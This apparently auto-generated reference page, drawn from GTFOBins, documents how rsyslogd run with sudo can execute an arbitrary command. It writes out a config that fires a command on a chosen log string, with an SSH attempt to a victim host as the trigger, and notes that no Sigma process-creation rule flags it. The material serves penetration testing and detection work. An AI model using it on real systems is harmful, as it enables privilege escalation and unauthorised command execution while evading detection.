rsyslogd

GTFOBins command 1 documented command

How rsyslogd is abused

documented by GTFOBins

command

-f

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for rsyslogd.

1 documented command

from GTFOBins, each read by the identifier

command with sudo

In order for this to work, one must be able to trigger one event containing the chosen string, e.g., somerandomstring. One possibility is to attempt to connect to the victim host via SSH, for example:

ssh somerandomstring@victim.com

cat >/path/to/temp-file <<EOF
module(load="imuxsock")
:msg, contains, "somerandomstring" ^/path/to/command
EOF

rsyslogd -f /path/to/temp-file

Identify

The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for rsyslogd. The identifier reads the line that runs rsyslogd.

rsyslogd

How rsyslogd is abused

1 documented command

Other programs abused for command